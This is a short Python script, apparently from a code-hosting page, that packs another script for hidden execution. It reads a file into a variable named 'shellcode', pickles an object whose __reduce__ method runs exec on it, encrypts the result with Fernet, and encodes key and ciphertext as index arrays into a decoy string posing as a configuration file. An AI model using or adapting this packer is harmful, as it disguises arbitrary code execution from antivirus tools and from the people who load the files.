59 lines
1.7 KiB
Python
59 lines
1.7 KiB
Python
# pickle dump
|
|
import pickle
|
|
from cryptography.fernet import Fernet
|
|
|
|
class FIO():
|
|
def openw(self, file, write, mode:int=1, encoding="UTF-8"):
|
|
if mode == 1:
|
|
with open(file, "w", encoding=encoding) as f:
|
|
f.write(write)
|
|
elif mode == 2:
|
|
with open(file, "wb") as f:
|
|
f.write(write)
|
|
def opena(self, file, write, mode:int=1, encoding="UTF-8"):
|
|
if mode == 1:
|
|
with open(file, "a", encoding=encoding) as f:
|
|
f.write(write)
|
|
elif mode == 2:
|
|
with open(file, "ab") as f:
|
|
f.write(write)
|
|
def openr(self, file, mode:int=1, encoding="UTF-8"):
|
|
if mode == 1:
|
|
with open(file, "r", encoding=encoding) as f:
|
|
read = f.read()
|
|
elif mode == 2:
|
|
with open(file, "rb") as f:
|
|
read = f.read()
|
|
return read
|
|
FIO=FIO()
|
|
|
|
shellcode = FIO.openr(r"C:\Users\Lenovo\Desktop\Termination4\Termination4.py")
|
|
|
|
#cryptography 加密
|
|
def EncryptTXT(ret):
|
|
key = Fernet.generate_key()
|
|
f = Fernet(key)
|
|
enc_pay = f.encrypt(bytes(bytearray(ret)))
|
|
return key, enc_pay.decode()
|
|
|
|
def AC(R):
|
|
LC = "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967="
|
|
B = []
|
|
for i in R:
|
|
A = LC.index(str(i))
|
|
B.append(A)
|
|
return B
|
|
|
|
#魔法函数
|
|
class A(object):
|
|
def __reduce__(self):
|
|
return (exec, (shellcode,))
|
|
|
|
|
|
ret = pickle.dumps(A())
|
|
key,miwen = EncryptTXT(ret)
|
|
arraykey = AC(str(key))
|
|
arrayindex = AC(miwen)
|
|
FIO.openw("./1", str(key))
|
|
FIO.openw("./1.5", str(arraykey))
|
|
FIO.openw("./2", str(arrayindex)) |